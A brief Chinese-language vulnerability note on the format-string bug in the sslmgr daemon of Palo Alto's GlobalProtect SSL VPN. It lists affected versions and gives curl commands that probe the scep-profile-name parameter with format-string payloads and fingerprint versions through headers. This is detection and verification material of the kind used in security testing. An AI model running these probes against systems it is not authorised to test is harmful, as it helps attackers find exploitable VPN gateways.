# Palo Alto ssl-vpn服务器漏洞

# Palo Alto称他们的SSL VPN产品为GlobalProtect。

# 漏洞类型：二进制格式化字符串漏洞

# 触发环境：守护程序sslmgr搜索字符串scep-profile-name并将其值作为snprintf格式传递,以填充缓冲区。这导致格式字符串被攻击。

# （其中sslmgr是处理服务器和客户端之间的ssl握手的ssl网关。该守护进程由nginx反向代理代理，可以通过路径/sslmgr进行访问。）

# 影响版本：7.1.x <7.1.19、8.0.x <8.0.12、8.1.x <8.1.3

# 如何验证漏洞是否存在：观察大量重复次数的响应时间来验证这个漏洞！命令：

time curl -s -d 'scep-profile-name=%9999999c' + 对应服务网址

time curl -s -d 'scep-profile-name=%99999999c' + 对应服务网址

time curl -s -d 'scep-profile-name=%999999999c' + 对应服务网址

如果漏洞存在，响应时间随着%c的数目而增加。

**漏洞利用：**首先可以通过Last-Modified标头进行区分，

8.x版本的/global protect/portal/css/login.css

7.x版本的/images/logo\_pan\_158.gif

8.0版本命令：curl -s -I https://对应域名/global-protect/portal/css/login.css | grep Last-Modified

漏洞利用脚本：网上有，但是需要修改。